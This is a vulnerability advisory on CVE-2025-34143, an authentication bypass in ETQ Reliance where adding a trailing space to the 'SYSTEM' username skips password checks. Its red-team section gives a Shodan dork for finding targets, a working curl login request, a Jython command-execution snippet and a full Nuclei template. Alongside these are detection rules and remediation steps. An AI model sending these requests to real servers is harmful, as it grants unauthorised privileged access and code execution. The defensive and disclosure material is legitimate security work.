CVE-2025-34143

Executive Summary

CVE-2025-34143 is a critical authentication bypass vulnerability in ETQ Reliance on the CG (legacy) platform. The flaw allows an unauthenticated attacker to log in as the privileged internal SYSTEM user by simply appending a trailing space to the username field. The SYSTEM account does not require a password, enabling attackers with network access to the login page to obtain elevated access. Once authenticated, an attacker can achieve remote code execution by modifying Jython scripts within the application. The vulnerability has a CVSS score of 9.8 (Critical) and is confirmed exploitable via a publicly available Nuclei template. The vendor has released a patch in version MP-4583.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is specific to the ETQ Reliance on-premise application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full system compromise and remote code execution.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of ETQ Reliance on the CG (legacy) platform. The application fails to properly validate the username field during login. By appending a trailing space to the username "SYSTEM", the application treats it as a valid internal account and bypasses password verification. The SYSTEM account is a privileged internal account that does not require a password for authentication.

Root Cause: The application does not strip or validate trailing whitespace in the username field before checking if the account is an internal system account. This allows an attacker to impersonate the SYSTEM user.

Attack Flow:

1. The attacker sends a POST request to /reliance/resources/sessions with a JSON body containing {"username":"SYSTEM ","password":"<any>"}.
2. The application's authentication logic fails to strip the trailing space, matching the username to the internal SYSTEM account.
3. The application grants access without requiring a password, returning a session token.
4. The attacker uses the session token to access the application with SYSTEM privileges.
5. With elevated access, the attacker can modify Jython scripts, leading to remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Does not trim username before checking for internal accounts
public User authenticate(String username, String password) {
    if (isInternalAccount(username)) {
        // SYSTEM account does not require password
        return getUser(username);
    }
    // Normal authentication logic
}

Patched Code (Conceptual):

// Patched: Trims username and explicitly excludes internal accounts from public auth
public User authenticate(String username, String password) {
    String trimmedUsername = username.trim();
    if (isInternalAccount(trimmedUsername)) {
        // Deny authentication for internal accounts via public endpoint
        throw new AuthenticationException("Internal accounts cannot authenticate here");
    }
    // Normal authentication logic
}

The patch introduces stricter validation logic to exclude internal accounts from public authentication workflows. The exact patch is included in version MP-4583.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the ETQ Reliance login page (typically on port 443 or 8080).
• A target running a vulnerable version (before MP-4583).

Exploitation Steps:

1. Identify Target: Use Shodan with the dork html:"ETQ Reliance" to find vulnerable instances.

2. Send Authentication Bypass Request:

   curl -X POST https://target.com/reliance/resources/sessions \
     -H "Content-Type: application/json" \
     -d '{"username":"SYSTEM ","password":"anypassword"}'
   

3. Extract Session Token: The response will contain a JSON with statusCode and userId. Extract the session token from the response headers or body.

4. Achieve Remote Code Execution: With SYSTEM access, navigate to the Jython script management interface and upload/modify a script to execute arbitrary commands. For example:

   import subprocess
   subprocess.call(["cmd.exe", "/c", "whoami > C:\\temp\\output.txt"])
   

Nuclei Template Usage:

nuclei -t CVE-2025-34143.yaml -u https://target.com

Blue Team

Detection Steps:

1. Monitor Login Endpoint: Look for POST requests to /reliance/resources/sessions with a username containing a trailing space.
2. Check for SYSTEM Account Usage: Alert on any successful authentication using the SYSTEM account from a non-internal IP address.
3. Review Jython Script Changes: Monitor for modifications to Jython scripts, especially those executed with SYSTEM privileges.

Honeypot Setup:

• Deploy a decoy ETQ Reliance instance and monitor for the specific POST request pattern.
• Log all authentication attempts and flag any with the username "SYSTEM " (with trailing space).

Indicators of Compromise (IOCs)

Network IOCs:

• POST request to /reliance/resources/sessions with body containing "username":"SYSTEM " (note the trailing space).
• Successful authentication response with userId corresponding to the SYSTEM account.
• Subsequent requests to Jython script management endpoints (e.g., /reliance/scripts/upload).

Host IOCs:

• Unauthorized Jython script files in the application's script directory.
• New processes spawned by the application with SYSTEM privileges.
• Unusual outbound network connections from the application server.

Log IOCs:

• Authentication logs showing login as "SYSTEM " (with trailing space).
• Application logs showing modification of Jython scripts by the SYSTEM user.

Detection Engineering

YARA Rule

rule CVE_2025_34143_ETQ_Reliance_Auth_Bypass {
    meta:
        description = "Detects exploitation attempts for CVE-2025-34143 in ETQ Reliance"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34143"
        severity = "critical"
    strings:
        $auth_bypass = /"username":"SYSTEM\s"/ nocase
        $session_endpoint = "/reliance/resources/sessions"
    condition:
        $auth_bypass and $session_endpoint
}

Sigma Rule

title: ETQ Reliance Authentication Bypass via Trailing Space
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation of CVE-2025-34143 by monitoring for login attempts with trailing space in username
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: etq_reliance
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/reliance/resources/sessions'
        cs-username: 'SYSTEM '
    condition: selection
falsepositives:
    - Legitimate testing by authorized personnel
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
    msg:"ETQ Reliance Authentication Bypass Attempt (CVE-2025-34143)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/reliance/resources/sessions"; http_uri;
    content:"\"username\":\"SYSTEM \""; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-34143;
)

Nuclei Template (Full)

id: CVE-2025-34143

info:
  name: ETQ Reliance - Authentication Bypass via Trailing Space
  author: slcyber,DhiyaneshDK
  severity: critical
  description: |
    An authentication bypass vulnerability exists in ETQ Reliance on the CG (legacy) platform. The application allowed login as the privileged internal SYSTEM user by manipulating the username field. The SYSTEM account does not require a password, enabling attackers with network access to the login page to obtain elevated access. Once authenticated, an attacker could achieve remote code execution by modifying Jython scripts within the application. This issue was resolved by introducing stricter validation logic to exclude internal accounts from public authentication workflows in version MP-4583.
  impact: |
    Successful exploitation allows unauthenticated attackers to bypass authentication and gain elevated SYSTEM access, potentially leading to remote code execution.
  remediation: |
    Apply the vendor patch to version MP-4583 or later, which includes stricter validation logic to exclude internal accounts from public authentication workflows.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34143
    - https://slcyber.io/assetnote-security-research-center/how-we-accidentally-discovered-a-remote-code-execution-vulnerability-in-etq-reliance/
  classification:
    epss-score: 0.01884
    epss-percentile: 0.83245
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-34143
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ETQ Reliance"
  tags: cve,cve2025,etq-reliance,auth-bypass,vkev,vuln

variables:
  username: "SYSTEM "
  password: "{{to_lower(rand_text_alphanumeric(7))}}"

http:
  - raw:
      - |
        POST /reliance/resources/sessions HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "statusCode"
          - "userId"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"
# digest: 4a0a00473045022100a55172519b62125407023ca091632c2b0edec1e4023c95c54cf9d73182bc8c3302205e4540fbe15eec54f2386861120613134904e6bf7796b23a9614736c75bb8e79:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Patch: Upgrade ETQ Reliance to version MP-4583 or later immediately.
2. Restrict Network Access: Limit access to the ETQ Reliance login page to trusted IP addresses only.
3. Disable SYSTEM Account: If possible, disable the SYSTEM account or change its authentication method to require a password.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied fields, especially usernames.
2. Least Privilege: Ensure that internal system accounts cannot be used for public authentication.
3. Monitoring: Deploy the detection rules provided above to monitor for exploitation attempts.
4. Web Application Firewall (WAF): Create a WAF rule to block requests containing "username":"SYSTEM " (with trailing space) in the POST body.

Workaround (if patching is not immediately possible):

• Implement a reverse proxy that strips trailing spaces from the username field before forwarding the request to the application.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: AB4B6EA151B2F584B6D9FE51] */}